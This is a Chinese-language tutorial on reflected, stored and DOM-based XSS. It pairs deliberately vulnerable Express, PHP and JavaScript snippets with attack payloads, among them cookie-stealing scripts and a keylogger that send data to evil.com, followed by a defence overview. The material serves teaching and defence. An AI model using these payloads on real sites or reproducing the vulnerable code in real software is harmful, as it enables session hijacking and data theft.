XSS三种类型详解:反射型、存储型、DOM型原理与代码解剖

一、XSS 概述

跨站脚本攻击(Cross-Site Scripting, XSS)是 OWASP Top 10 中最古老也是最常见的 Web 安全漏洞之一。攻击者通过在页面中注入恶意脚本,使得脚本在受害者浏览器中执行,从而窃取数据、劫持会话或发起进一步攻击。

XSS 的核心分类依据是恶意脚本的注入位置和执行路径,三大主流类型为:

类型 英文 恶意脚本来源 是否经过服务器 存储位置
反射型 XSS Reflected XSS URL 参数等即时输入 经过(服务器回显) 不持久
存储型 XSS Stored XSS 用户提交的数据持久化后读取 经过(存数据库再读) 持久存储
DOM 型 XSS DOM-based XSS DOM 节点的客户端脚本处理 不经过服务器 DOM 树

二、反射型 XSS(Reflected XSS)

2.1 原理

反射型 XSS 是最简单的 XSS 形式。攻击者将恶意代码放入 URL 参数中,服务器不做任何过滤或编码地将该参数直接回显到响应页面中,浏览器把它当作 HTML/JS 执行。

攻击流程:

攻击者构造恶意 URL
      ↓
受害者点击链接 / 访问该 URL
      ↓
服务器接收参数,原样嵌入响应
      ↓
浏览器渲染时执行恶意脚本

2.2 真实代码示例(Node.js + Express)

漏洞代码

// server.js
const express = require('express');
const app = express();

app.get('/search', (req, res) => {
  const keyword = req.query.q;
  // 直接拼接 HTML,没有任何转义!
  const html = `
    <!DOCTYPE html>
    <html>
    <head><meta charset="utf-8"><title>搜索结果</title></head>
    <body>
      <h1>搜索结果</h1>
      <p>您搜索的关键词是:${keyword}</p>
      <div id="results">暂无结果</div>
    </body>
    </html>
  `;
  res.send(html);
});

app.listen(3000, () => console.log('Server running on http://localhost:3000'));

攻击 Payload

http://localhost:3000/search?q=<script>document.location='http://evil.com/steal?c='+document.cookie</script>

由于 keyword 未经转义就被嵌入 <p> 标签内部,<script> 标签会被浏览器解析执行。

变种:属性内注入

如果代码把参数放进了 HTML 属性值里:

<input type="text" value="<%= request.getParameter('q') %>">

Payload 可以是:

" autofocus onfocus="alert(1)

闭合属性,注入事件处理器。

2.3 反射型 XSS 的特点

  • ✅ 非持久化:只对当前请求生效
  • ✅ 需要诱导受害者点击恶意链接
  • ✅ 触发门槛低,最容易被自动化扫描器发现
  • ⚠️ 危害相对存储型小,但依然可以窃取当前会话 Cookie

三、存储型 XSS(Stored XSS)

3.1 原理

存储型 XSS 是危害最大的 XSS 类型,也是 OWASP Top 10 中影响力最高的类别之一。

攻击流程:

攻击者在某个输入框提交恶意脚本
      ↓
服务器将恶意脚本原样存入数据库
      ↓
其他用户访问页面时,服务器从数据库读出该内容
      ↓
脚本被嵌入页面,在所有访问者浏览器中执行
      ↓
受害者范围 = 所有浏览该内容的用户

3.2 真实代码示例(PHP + MySQL)

漏洞代码:留言板

<?php
// submit.php —— 提交留言
$conn = new mysqli('localhost', 'root', 'password', 'guestbook');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $name = $_POST['name'];
    $message = $_POST['message'];
    // 没有任何转义或过滤!
    $stmt = $conn->prepare("INSERT INTO messages (name, message) VALUES (?, ?)");
    $stmt->bind_param("ss", $name, $message);
    $stmt->execute();
    header('Location: index.php');
}
?>
<?php
// index.php —— 显示留言
$conn = new mysqli('localhost', 'root', 'password', 'guestbook');
$result = $conn->query("SELECT name, message, created_at FROM messages ORDER BY id DESC");
?>
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>留言板</title></head>
<body>
  <h1>访客留言</h1>

  <form method="POST" action="submit.php">
    <input name="name" placeholder="昵称" required><br>
    <textarea name="message" rows="5" placeholder="留言内容"></textarea><br>
    <button type="submit">提交</button>
  </form>

  <hr>

  <?php while ($row = $result->fetch_assoc()): ?>
    <div class="comment">
      <strong><?= $row['name'] ?></strong>
      <span class="time"><?= $row['created_at'] ?></span>
      <p><?= $row['message'] ?></p>  <!-- 直接输出!没有 htmlspecialchars -->
    </div>
  <?php endwhile; ?>
</body>
</html>

攻击 Payload

攻击者在留言中提交:

<img src=x onerror="new Image().src='http://evil.com/steal?c='+document.cookie">

或者更完整的键盘记录器:

<script>
var log = '';
document.onkeypress = function(e) {
    log += e.key;
    new Image().src = 'http://evil.com/kb?data=' + encodeURIComponent(log);
};
</script>

3.3 存储型 XSS 的特点

  • ✅ 持久化:写入数据库/文件,长期存在
  • ✅ 被动触发:不需要诱导,只要访问就中招
  • ✅ 感染范围广:所有浏览该页面的用户都可能受害
  • ⚠️ 如果是管理员面板里的存储型 XSS,直接拿管理员会话 = 拿下全站

四、DOM 型 XSS(DOM-based XSS)

4.1 原理

DOM 型 XSS 与前两类本质区别在于:恶意脚本完全不经过服务器,它纯粹是前端 JavaScript 在处理 DOM 节点时引入的。

攻击流程:

攻击者构造恶意 URL(hash 片段或 query)
      ↓
受害者访问该 URL
      ↓
页面正常加载(服务器返回的是干净的 HTML)
      ↓
前端 JS 读取 URL/表单/存储中的数据
      ↓
调用危险方法(innerHTML / document.write / eval 等)写入 DOM
      ↓
浏览器执行恶意脚本

4.2 真实代码示例

漏洞代码(纯前端,无需后端)

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>个人主页</title>
<script>
window.onload = function() {
    // 从 URL hash 读取 name 参数
    var hash = location.hash.substring(1);
    var params = new URLSearchParams(hash);
    var name = params.get('name') || '访客';

    // 危险:直接用 innerHTML 写入
    document.getElementById('greeting').innerHTML =
        '<h2>欢迎你, ' + name + '!</h2>';

    // 另一个危险 sink:document.write
    // document.write('<h2>欢迎你, ' + name + '!</h2>');

    // 还有危险:eval / setTimeout / setInterval 字符串参数
    // eval("var user = '" + name + "';");
};
</script>
</head>
<body>
  <div id="greeting"></div>
</body>
</html>

攻击 Payload

http://localhost:3000/page.html#name=<img src=x onerror="alert(document.cookie)">

关键点:服务器完全看不到 hash 部分,这也是 DOM XSS 绕过服务端过滤的原因。

4.3 DOM XSS 的 Source 与 Sink

常见 Source(脏数据来源):

  • document.URL / document.location / location.hash / location.search
  • document.referrer
  • document.cookie(注意:如果是攻击者能写入的话)
  • localStorage / sessionStorage
  • URLSearchParams

常见 Sink(危险写入点):

  • innerHTML / outerHTML / insertAdjacentHTML
  • document.write() / document.writeln()
  • eval() / new Function()
  • setTimeout(string) / setInterval(string)
  • jQuery.append() / jQuery.html() / jQuery.after()
  • srcdoc / <iframe srcdoc=...>
  • ${} 模板字符串中嵌入未处理用户输入再渲染

4.4 混合型(DOM 型也可能涉及服务端)

某些场景下攻击链同时包含服务端和客户端,称为二阶 DOM XSS
服务端把数据安全地放在某处(比如 data 属性),但前端 JS 后续把它拼进了危险 sink。


五、三类 XSS 的对比总结

维度 反射型 存储型 DOM 型
持久化 ❌(除非用户自己保存)
需后端 ❌ 纯前端也可
绕过服务端过滤 ✅ hash 不走服务器
危害等级 ⭐⭐ ⭐⭐⭐⭐⭐ ⭐⭐⭐
防御要点 输出转义 + WAF 输入过滤 + 输出转义 避免危险 Sink + DOMPurify
扫描难度 容易 中等 较难(动态执行)

六、防御总览(后续文章深入展开)

  1. 输入过滤:白名单比黑名单可靠
  2. 输出编码:根据上下文选对编码方式(HTML 实体 / URL 编码 / JavaScript 转义)
  3. CSP:内容安全策略,浏览器层面拦截内联脚本
  4. HttpOnly + SameSite Cookie:即便脚本执行,Cookie 也读不到/发不出去
  5. 安全开发规范:禁止 innerHTML / eval,用 textContent / textContent 替代 innerHTML

记住:永远不要信任用户的任何输入——这是 Web 安全的基石。